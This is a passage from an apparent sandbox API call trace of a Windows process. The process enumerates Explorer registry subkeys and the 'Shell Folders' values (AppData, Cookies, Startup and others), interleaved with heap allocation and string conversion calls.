cchWideChar=5, lpMultiByteStr=0x2169180, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2163058, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x2169258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2163058, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x2169180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2163058, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x2169258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2163058, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x2169180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2163058, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x2169258, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0140.558] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2163058, cchName=0x104 | out: lpName="Modules") returned 0x0 [0140.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0140.559] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2163058, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x2169258, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0140.559] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2163058, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x2169180, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0140.559] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2163058, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x2169258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0140.559] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2163058, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x2169180, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0140.559] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2163058, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x2169258, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0140.559] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2163058, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x2169180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0140.559] RegOpenKeyExW (in: hKey=0x140, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f2c4 | out: phkResult=0x20f2c4*=0x13c) returned 0x0 [0140.559] RegCloseKey (hKey=0x140) returned 0x0 [0140.560] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169210) returned 1 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x0, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d630 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d278 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169210 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x1, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d268 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x2, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d258 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x3, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2f8 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21692a0 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x4, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x226bc08 [0140.560] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d630) returned 1 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d308 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21692e8 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x5, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d318 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169330 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x6, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d328 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169378 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x7, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d338 [0140.560] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21693c0 [0140.560] RegEnumValueA (in: hKey=0x13c, dwIndex=0x8, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x30) returned 0x2169fa0 [0140.561] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc08) returned 1 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d348 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169408 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0x9, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d358 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169450 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0xa, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d368 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169498 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0xb, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d378 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0xc, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169528 [0140.561] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169fa0) returned 1 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d388 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0xd, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d398 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21695b8 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0xe, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d3a8 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169600 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0xf, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d3b8 [0140.561] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169648 [0140.561] RegEnumValueA (in: hKey=0x13c, dwIndex=0x10, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x50) returned 0x226dd90 [0140.562] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169528) returned 1 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d3c8 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169528 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x11, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d3d8 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169690 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x12, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d3e8 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21696d8 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x13, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d3f8 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169720 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x14, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x60) returned 0x2163058 [0140.562] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226dd90) returned 1 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d408 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169768 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x15, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d418 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21697b0 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x16, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d428 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21697f8 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x17, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d438 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169840 [0140.562] RegEnumValueA (in: hKey=0x13c, dwIndex=0x18, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.562] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x70) returned 0x226dd90 [0140.563] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2163058) returned 1 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d448 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169888 [0140.563] RegEnumValueA (in: hKey=0x13c, dwIndex=0x19, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d458 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21698d0 [0140.563] RegEnumValueA (in: hKey=0x13c, dwIndex=0x1a, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d468 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169918 [0140.563] RegEnumValueA (in: hKey=0x13c, dwIndex=0x1b, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d478 [0140.563] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169960 [0140.564] RegEnumValueA (in: hKey=0x13c, dwIndex=0x1c, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226dd90) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d488 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21699a8 [0140.564] RegEnumValueA (in: hKey=0x13c, dwIndex=0x1d, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d498 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21699f0 [0140.564] RegEnumValueA (in: hKey=0x13c, dwIndex=0x1e, lpValueName=0x20f1fc, lpcchValueName=0x20f1f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x20f1f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169a38 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169a38) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169a38 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169a38) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169a38 [0140.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2169258, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2169258, cbMultiByte=7, lpWideCharStr=0x226e950, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e9d8 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 